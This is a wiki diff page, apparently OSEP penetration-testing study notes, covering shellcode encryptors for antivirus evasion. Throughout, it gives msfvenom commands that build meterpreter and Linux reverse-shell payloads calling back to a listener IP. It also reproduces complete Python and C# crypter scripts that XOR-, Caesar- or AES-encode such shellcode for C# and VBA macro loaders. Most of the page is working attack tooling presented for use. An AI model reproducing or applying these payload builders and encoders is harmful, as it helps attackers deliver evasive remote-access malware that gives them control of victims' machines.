[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)] | [https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)] | ||
From github: "A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload." | From github: "A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload." | ||
* Assembly Injection | * Assembly Injection | ||
* Shellcode Runner | * Shellcode Runner | ||
* Classic Injection | * Classic Injection | ||
* Thread Hijacking | * Thread Hijacking | ||
* Local Thread Hijacking | * Local Thread Hijacking | ||
* Asychronous Procedure Call Injection | * Asychronous Procedure Call Injection | ||
* Process Hollowing | * Process Hollowing | ||
* Inter-Process Mapped View | * Inter-Process Mapped View | ||
* Atom Bombing | * Atom Bombing | ||
== Shellcode Encryptors == | == Shellcode Encryptors == | ||
=== Shellcode Encryptors - Helper code === | === Shellcode Encryptors - Helper code === | ||
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them. | Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them. | ||
==== ShellcodeCrypter-bin.py ==== | ==== ShellcodeCrypter-bin.py ==== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
┌──(root㉿kali)-[/home/kali/Desktop/osep] | ┌──(root㉿kali)-[/home/kali/Desktop/osep] | ||
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin | └─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin | ||
┌──(root㉿kali)-[/home/kali/Desktop/osep] | ┌──(root㉿kali)-[/home/kali/Desktop/osep] | ||
| Line 7,861: | Line 5,946: | ||
0xf1,0x37,0x7a | 0xf1,0x37,0x7a | ||
}; | }; | ||
[i] Decoding function: | [i] Decoding function: | ||
for (int i = 0; i < buf.Length; i++) | for (int i = 0; i < buf.Length; i++) | ||
| Line 7,867: | Line 5,951: | ||
buf[i] = (byte)((uint)buf[i] ^ 0xfa); | buf[i] = (byte)((uint)buf[i] ^ 0xfa); | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="python"> | <syntaxhighlight lang="python"> | ||
# ShellcodeCrypter-bin.py | # ShellcodeCrypter-bin.py | ||
#!/usr/bin/python3 | #!/usr/bin/python3 | ||
# Basic shellcode crypter for C# payloads | # Basic shellcode crypter for C# payloads | ||
# By Cas van Cooten | # By Cas van Cooten | ||
import re | import re | ||
import platform | import platform | ||
| Line 7,885: | Line 5,964: | ||
import subprocess | import subprocess | ||
from random import randint | from random import randint | ||
if platform.system() != "Linux": | if platform.system() != "Linux": | ||
exit("[x] ERROR: Only Linux is supported for this utility script.") | exit("[x] ERROR: Only Linux is supported for this utility script.") | ||
class bcolors: | class bcolors: | ||
OKBLUE = '\033[94m' | OKBLUE = '\033[94m' | ||
| Line 7,895: | Line 5,972: | ||
ENDC = '\033[0m' | ENDC = '\033[0m' | ||
BOLD = '\033[1m' | BOLD = '\033[1m' | ||
# Parse input arguments | # Parse input arguments | ||
def auto_int(x): | def auto_int(x): | ||
return int(x, 0) | return int(x, 0) | ||
parser = argparse.ArgumentParser() | parser = argparse.ArgumentParser() | ||
parser.add_argument("path", help="the path to load the raw shellcode payload from", nargs='?', default="/tmp/payload.bin") | parser.add_argument("path", help="the path to load the raw shellcode payload from", nargs='?', default="/tmp/payload.bin") | ||
| Line 7,906: | Line 5,981: | ||
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255)) | parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255)) | ||
args = parser.parse_args() | args = parser.parse_args() | ||
# Generate the shellcode given the input path | # Generate the shellcode given the input path | ||
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.") | print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.") | ||
| Line 7,912: | Line 5,986: | ||
with open(args.path, "rb") as f: | with open(args.path, "rb") as f: | ||
payload = f.read() | payload = f.read() | ||
except: | except: | ||
exit(f'{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}') | exit(f'{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}') | ||
# Format the output payload | # Format the output payload | ||
if args.format == "cs": | if args.format == "cs": | ||
| Line 7,924: | Line 5,996: | ||
for byte in payload: | for byte in payload: | ||
byteInt = int(byte) | byteInt = int(byte) | ||
if args.encoding == "xor": | if args.encoding == "xor": | ||
byteInt = byteInt ^ args.key | byteInt = byteInt ^ args.key | ||
| Line 7,931: | Line 6,002: | ||
else: | else: | ||
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}") | exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}") | ||
encodedPayload.append("{0:#0{1}x}".format(byteInt,4)) | encodedPayload.append("{0:#0{1}x}".format(byteInt,4)) | ||
payLen = len(encodedPayload) | payLen = len(encodedPayload) | ||
encodedPayload = re.sub("(.{65})", "\\1\n", ','.join(encodedPayload), 0, re.DOTALL) | encodedPayload = re.sub("(.{65})", "\\1\n", ','.join(encodedPayload), 0, re.DOTALL) | ||
| Line 7,946: | Line 6,015: | ||
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}") | ||
print(payloadFormatted + "\n") | print(payloadFormatted + "\n") | ||
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | ||
if args.encoding == "xor": | if args.encoding == "xor": | ||
| Line 7,957: | Line 6,025: | ||
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}") | ||
print(payloadFormatted + "\n") | print(payloadFormatted + "\n") | ||
# Provide the decoding function for the heck of it | # Provide the decoding function for the heck of it | ||
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | ||
| Line 7,966: | Line 6,033: | ||
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)}); | bufferx[i] = (char)(buffer[i] ^ {hex(args.key)}); | ||
""" | """ | ||
if args.encoding == "rot": | if args.encoding == "rot": | ||
decodingFunc = f"""char bufferx[sizeof buffer]; | decodingFunc = f"""char bufferx[sizeof buffer]; | ||
| Line 7,973: | Line 6,039: | ||
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255); | bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255); | ||
""" | """ | ||
print(decodingFunc) | print(decodingFunc) | ||
else: | else: | ||
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}") | exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}") | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== shellcodeCrypter-msfvenom.py ==== | ==== shellcodeCrypter-msfvenom.py ==== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 8,008: | Line 6,069: | ||
"\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17" | "\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17" | ||
\x05\x1c; | \x05\x1c; | ||
[i] Decoding function: | [i] Decoding function: | ||
char bufferx[sizeof buffer]; | char bufferx[sizeof buffer]; | ||
| Line 8,014: | Line 6,074: | ||
for (i = 0; i < sizeof bufferx; ++i) | for (i = 0; i < sizeof bufferx; ++i) | ||
bufferx[i] = (char)(buffer[i] ^ 0xfa); | bufferx[i] = (char)(buffer[i] ^ 0xfa); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="python"> | <syntaxhighlight lang="python"> | ||
# | # | ||
#!/usr/bin/python3 | #!/usr/bin/python3 | ||
# Basic shellcode crypter for C# payloads | # Basic shellcode crypter for C# payloads | ||
# By Cas van Cooten | # By Cas van Cooten | ||
import re | import re | ||
import platform | import platform | ||
| Line 8,031: | Line 6,087: | ||
import subprocess | import subprocess | ||
from random import randint | from random import randint | ||
if platform.system() != "Linux": | if platform.system() != "Linux": | ||
exit("[x] ERROR: Only Linux is supported for this utility script.") | exit("[x] ERROR: Only Linux is supported for this utility script.") | ||
class bcolors: | class bcolors: | ||
OKBLUE = '\033[94m' | OKBLUE = '\033[94m' | ||
| Line 8,041: | Line 6,095: | ||
ENDC = '\033[0m' | ENDC = '\033[0m' | ||
BOLD = '\033[1m' | BOLD = '\033[1m' | ||
# Parse input arguments | # Parse input arguments | ||
def auto_int(x): | def auto_int(x): | ||
return int(x, 0) | return int(x, 0) | ||
parser = argparse.ArgumentParser() | parser = argparse.ArgumentParser() | ||
parser.add_argument("lhost", help="listener IP to use") | parser.add_argument("lhost", help="listener IP to use") | ||
| Line 8,054: | Line 6,106: | ||
parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp") | parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp") | ||
args = parser.parse_args() | args = parser.parse_args() | ||
# Generate the shellcode given the preferred payload | # Generate the shellcode given the preferred payload | ||
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}") | ||
result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE) | result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE) | ||
if result.returncode != 0: | if result.returncode != 0: | ||
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}") | exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}") | ||
# Get the payload bytes and split them | # Get the payload bytes and split them | ||
payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",") | payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",") | ||
# Format the output payload | # Format the output payload | ||
if args.format == "cs": | if args.format == "cs": | ||
| Line 8,071: | Line 6,119: | ||
for i, byte in enumerate(payload): | for i, byte in enumerate(payload): | ||
byteInt = int(byte, 16) | byteInt = int(byte, 16) | ||
if args.encoding == "xor": | if args.encoding == "xor": | ||
byteInt = byteInt ^ args.key | byteInt = byteInt ^ args.key | ||
| Line 8,078: | Line 6,125: | ||
else: | else: | ||
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}") | exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}") | ||
payload[i] = "{0:#0{1}x}".format(byteInt,4) | payload[i] = "{0:#0{1}x}".format(byteInt,4) | ||
payLen = len(payload) | payLen = len(payload) | ||
payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL) | payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL) | ||
| Line 8,094: | Line 6,139: | ||
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}") | ||
print(payloadFormatted + "\n") | print(payloadFormatted + "\n") | ||
# Provide the decoding function for the heck of it | # Provide the decoding function for the heck of it | ||
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | ||
| Line 8,106: | Line 6,150: | ||
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}") | ||
print(payloadFormatted + "\n") | print(payloadFormatted + "\n") | ||
# Provide the decoding function for the heck of it | # Provide the decoding function for the heck of it | ||
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}") | ||
| Line 8,115: | Line 6,158: | ||
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)}); | bufferx[i] = (char)(buffer[i] ^ {hex(args.key)}); | ||
""" | """ | ||
if args.encoding == "rot": | if args.encoding == "rot": | ||
decodingFunc = f"""char bufferx[sizeof buffer]; | decodingFunc = f"""char bufferx[sizeof buffer]; | ||
| Line 8,122: | Line 6,164: | ||
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255); | bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255); | ||
""" | """ | ||
print(decodingFunc) | print(decodingFunc) | ||
else: | else: | ||
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}") | exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}") | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== AES ==== | ==== AES ==== | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Security.Cryptography; | using System.Security.Cryptography; | ||
public class AesEncryptionExample | public class AesEncryptionExample | ||
{ | { | ||
| Line 8,143: | Line 6,179: | ||
{ | { | ||
byte[] shellcode = new byte[] { /* Your shellcode goes here */ }; | byte[] shellcode = new byte[] { /* Your shellcode goes here */ }; | ||
byte[] key = Encoding.UTF8.GetBytes("0123456789ABCDEF0123456789ABCDEF"); // 32-byte key | byte[] key = Encoding.UTF8.GetBytes("0123456789ABCDEF0123456789ABCDEF"); // 32-byte key | ||
byte[] iv = Encoding.UTF8.GetBytes("0123456789ABCDEF"); // 16-byte IV | byte[] iv = Encoding.UTF8.GetBytes("0123456789ABCDEF"); // 16-byte IV | ||
byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv); | byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv); | ||
string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace("-", ""); | string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace("-", ""); | ||
Console.WriteLine("Encrypted shellcode hex: " + encryptedHex); | Console.WriteLine("Encrypted shellcode hex: " + encryptedHex); | ||
} | } | ||
public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv) | public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv) | ||
{ | { | ||
byte[] encrypted; | byte[] encrypted; | ||
using (AesManaged aes = new AesManaged()) | using (AesManaged aes = new AesManaged()) | ||
{ | { | ||
aes.Key = key; | aes.Key = key; | ||
aes.IV = iv; | aes.IV = iv; | ||
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV); | ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV); | ||
encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length); | encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length); | ||
} | } | ||
return encrypted; | return encrypted; | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== AES python helper ==== | ==== AES python helper ==== | ||
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)] | [https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)] | ||
<syntaxhighlight lang="python"> | <syntaxhighlight lang="python"> | ||
| Line 8,187: | Line 6,210: | ||
from hashlib import sha256 | from hashlib import sha256 | ||
import argparse, subprocess, os | import argparse, subprocess, os | ||
def main(): | def main(): | ||
args = parse_args() | args = parse_args() | ||
| Line 8,198: | Line 6,220: | ||
method = args.method | method = args.method | ||
format = args.format | format = args.format | ||
''' generate msfvenom payload ''' | ''' generate msfvenom payload ''' | ||
print("[+] Generating MSFVENOM payload...") | print("[+] Generating MSFVENOM payload...") | ||
| Line 8,209: | Line 6,230: | ||
'-o', './msf.bin'], | '-o', './msf.bin'], | ||
capture_output=False) | capture_output=False) | ||
f = open("./msf.bin", "rb") | f = open("./msf.bin", "rb") | ||
buf = f.read() | buf = f.read() | ||
f.close() | f.close() | ||
print("[+] key and payload will be written to key.b64 and payload.b64") | print("[+] key and payload will be written to key.b64 and payload.b64") | ||
''' encrypt the payload ''' | ''' encrypt the payload ''' | ||
print("[+] Encrypting the payload, key=" + key + "...") | print("[+] Encrypting the payload, key=" + key + "...") | ||
| Line 8,221: | Line 6,239: | ||
encrypted = encrypt(hkey, hkey[:16], buf) | encrypted = encrypt(hkey, hkey[:16], buf) | ||
b64 = base64.b64encode(encrypted) | b64 = base64.b64encode(encrypted) | ||
f = open("./key.b64", "w") | f = open("./key.b64", "w") | ||
f.write(key) | f.write(key) | ||
f.close() | f.close() | ||
f = open("./payload.b64", "w") | f = open("./payload.b64", "w") | ||
f.write(b64.decode('utf-8')) | f.write(b64.decode('utf-8')) | ||
f.close() | f.close() | ||
if format == "b64": | if format == "b64": | ||
''' base64 output ''' | ''' base64 output ''' | ||
| Line 8,245: | Line 6,260: | ||
print("\n[+] Have a nice day!") | print("\n[+] Have a nice day!") | ||
return | return | ||
def encrypt(key,iv,plaintext): | def encrypt(key,iv,plaintext): | ||
key_length = len(key) | key_length = len(key) | ||
| Line 8,254: | Line 6,268: | ||
else: | else: | ||
k = key[:16] | k = key[:16] | ||
aes = AES.new(k, AES.MODE_CBC, iv) | aes = AES.new(k, AES.MODE_CBC, iv) | ||
pad_text = pad(plaintext, 16) | pad_text = pad(plaintext, 16) | ||
return aes.encrypt(pad_text) | return aes.encrypt(pad_text) | ||
def hash_key(key): | def hash_key(key): | ||
h = '' | h = '' | ||
| Line 8,266: | Line 6,278: | ||
hashed = sha256(h).digest() | hashed = sha256(h).digest() | ||
return hashed | return hashed | ||
def pad(data, block_size): | def pad(data, block_size): | ||
padding_size = (block_size - len(data)) % block_size | padding_size = (block_size - len(data)) % block_size | ||
| Line 8,273: | Line 6,284: | ||
padding = (bytes([padding_size]) * padding_size) | padding = (bytes([padding_size]) * padding_size) | ||
return data + padding | return data + padding | ||
def parse_args(): | def parse_args(): | ||
parser = argparse.ArgumentParser() | parser = argparse.ArgumentParser() | ||
parser.add_argument("-l", "--lport", default="0.0.0.0", type=str, | parser.add_argument("-l", "--lport", default="0.0.0.0", type=str, | ||
help="The local port that msfconsole is listening on.") | help="The local port that msfconsole is listening on.") | ||
| Line 8,287: | Line 6,296: | ||
parser.add_argument("-k", "--key", default="", type=str, | parser.add_argument("-k", "--key", default="", type=str, | ||
help="The encryption key (32 chars).") | help="The encryption key (32 chars).") | ||
parser.add_argument("-f", "--format", default="b64", type=str, | parser.add_argument("-f", "--format", default="b64", type=str, | ||
help="The format to output.") | help="The format to output.") | ||
return parser.parse_args() | return parser.parse_args() | ||
def get_random_string(length): | def get_random_string(length): | ||
letters = string.ascii_letters + string.digits | letters = string.ascii_letters + string.digits | ||
result_str = ''.join(random.choice(letters) for i in range(length)) | result_str = ''.join(random.choice(letters) for i in range(length)) | ||
return result_str | return result_str | ||
if __name__ == '__main__': | if __name__ == '__main__': | ||
main() | main() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Ceasar ==== | ==== Ceasar ==== | ||
'''CSharp shellcode ''' | '''CSharp shellcode ''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 8,316: | Line 6,318: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace ConsoleApp25 | namespace ConsoleApp25 | ||
{ | { | ||
| Line 8,324: | Line 6,325: | ||
{ | { | ||
byte[] buf = new byte[510] {0xfc.....}; | byte[] buf = new byte[510] {0xfc.....}; | ||
byte[] encoded = new byte[buf.Length]; | byte[] encoded = new byte[buf.Length]; | ||
| Line 8,336: | Line 6,336: | ||
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF); | encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF); | ||
} | } | ||
StringBuilder hex = new StringBuilder(encoded.Length * 2); | StringBuilder hex = new StringBuilder(encoded.Length * 2); | ||
foreach (byte b in encoded) | foreach (byte b in encoded) | ||
| Line 8,342: | Line 6,341: | ||
hex.AppendFormat("0x{0:x2}, ", b); | hex.AppendFormat("0x{0:x2}, ", b); | ||
} | } | ||
Console.WriteLine("The payload is: " + hex.ToString()); | Console.WriteLine("The payload is: " + hex.ToString()); | ||
// Rest of your code... | // Rest of your code... | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''VBA Shellcode ''' | '''VBA Shellcode ''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Text; | using System.Text; | ||
namespace XorCoder | namespace XorCoder | ||
{ | { | ||
| Line 8,369: | Line 6,361: | ||
// Sample shellcode (replace with your own) | // Sample shellcode (replace with your own) | ||
byte[] buf = { /* your shellcode byte array here */ }; | byte[] buf = { /* your shellcode byte array here */ }; | ||
// Encode using Caesar cipher by adding 2 to each byte | // Encode using Caesar cipher by adding 2 to each byte | ||
byte[] encoded = new byte[buf.Length]; | byte[] encoded = new byte[buf.Length]; | ||
| Line 8,376: | Line 6,367: | ||
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF); | encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF); | ||
} | } | ||
StringBuilder hex = new StringBuilder(encoded.Length * 2); | StringBuilder hex = new StringBuilder(encoded.Length * 2); | ||
uint counter = 0; // Initialize counter | uint counter = 0; // Initialize counter | ||
foreach (byte b in encoded) | foreach (byte b in encoded) | ||
{ | { | ||
hex.AppendFormat("{0:D}, ", b); | hex.AppendFormat("{0:D}, ", b); | ||
counter++; | counter++; | ||
if (counter % 50 == 0) | if (counter % 50 == 0) | ||
{ | { | ||
| Line 8,390: | Line 6,378: | ||
} | } | ||
} | } | ||
Console.WriteLine("The payload is: "); | Console.WriteLine("The payload is: "); | ||
Console.WriteLine(hex.ToString()); | Console.WriteLine(hex.ToString()); | ||
| Line 8,396: | Line 6,383: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== XOR ==== | ==== XOR ==== | ||
'''CSharp '''- Encrypt csharp shellcode | '''CSharp '''- Encrypt csharp shellcode | ||
<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp</code> | <code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp</code> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 8,415: | Line 6,397: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace XorCoder | namespace XorCoder | ||
{ | { | ||
| Line 8,425: | Line 6,406: | ||
byte[] buf = new byte[511] { | byte[] buf = new byte[511] { | ||
0xfc,0x48,0x83,0xe4 }; | 0xfc,0x48,0x83,0xe4 }; | ||
// Encode the payload with XOR (fixed key) | // Encode the payload with XOR (fixed key) | ||
byte[] encoded = new byte[buf.Length]; | byte[] encoded = new byte[buf.Length]; | ||
| Line 8,432: | Line 6,412: | ||
encoded[i] = (byte)((uint)buf[i] ^ 0xfa); | encoded[i] = (byte)((uint)buf[i] ^ 0xfa); | ||
} | } | ||
StringBuilder hex = new StringBuilder(encoded.Length * 2); | StringBuilder hex = new StringBuilder(encoded.Length * 2); | ||
int totalCount = encoded.Length; | int totalCount = encoded.Length; | ||
| Line 8,438: | Line 6,417: | ||
{ | { | ||
byte b = encoded[count]; | byte b = encoded[count]; | ||
if ((count + 1) == totalCount) // Dont append comma for last item | if ((count + 1) == totalCount) // Dont append comma for last item | ||
{ | { | ||
| Line 8,447: | Line 6,425: | ||
hex.AppendFormat("0x{0:x2}, ", b); | hex.AppendFormat("0x{0:x2}, ", b); | ||
} | } | ||
if ((count + 1) % 15 == 0) | if ((count + 1) % 15 == 0) | ||
{ | { | ||
| Line 8,453: | Line 6,430: | ||
} | } | ||
} | } | ||
Console.WriteLine($"XOR payload (key: 0xfa):"); | Console.WriteLine($"XOR payload (key: 0xfa):"); | ||
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};"); | Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};"); | ||
//// Decode the XOR payload | //// Decode the XOR payload | ||
//for (int i = 0; i < buf.Length; i++) | //for (int i = 0; i < buf.Length; i++) | ||
| Line 8,462: | Line 6,437: | ||
// buf[i] = (byte)((uint)buf[i] ^ 0xfa); | // buf[i] = (byte)((uint)buf[i] ^ 0xfa); | ||
//} | //} | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''VBA shellcode - ''' Encrypt VBA shellcode | '''VBA shellcode - ''' Encrypt VBA shellcode | ||
REMEMBER - Check if Word is running 32-bit or 64-bit | REMEMBER - Check if Word is running 32-bit or 64-bit | ||
<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication</code> | <code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication</code> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
using System; | using System; | ||
using System.Text; | using System.Text; | ||
namespace XorCoder | namespace XorCoder | ||
{ | { | ||
| Line 8,491: | Line 6,459: | ||
// Sample shellcode (replace with your own) | // Sample shellcode (replace with your own) | ||
byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 }; | byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 }; | ||
// XOR encryption | // XOR encryption | ||
byte[] encoded = new byte[buf.Length]; | byte[] encoded = new byte[buf.Length]; | ||
| Line 8,499: | Line 6,466: | ||
encoded[i] = (byte)(buf[i] ^ XORKey); | encoded[i] = (byte)(buf[i] ^ XORKey); | ||
} | } | ||
StringBuilder hex = new StringBuilder(encoded.Length * 2); | StringBuilder hex = new StringBuilder(encoded.Length * 2); | ||
int counter = 0; // Initialize counter | int counter = 0; // Initialize counter | ||
foreach (byte b in encoded) | foreach (byte b in encoded) | ||
{ | { | ||
hex.AppendFormat("{0:D}, ", b); | hex.AppendFormat("{0:D}, ", b); | ||
counter++; | counter++; | ||
if (counter % 50 == 0) | if (counter % 50 == 0) | ||
{ | { | ||
| Line 8,513: | Line 6,477: | ||
} | } | ||
} | } | ||
Console.WriteLine("The XOR encoded payload is: "); | Console.WriteLine("The XOR encoded payload is: "); | ||
Console.WriteLine(hex.ToString()); | Console.WriteLine(hex.ToString()); | ||
| Line 8,519: | Line 6,482: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Running encrypted shellcodes === | === Running encrypted shellcodes === | ||
==== AES - Using python helper ==== | ==== AES - Using python helper ==== | ||
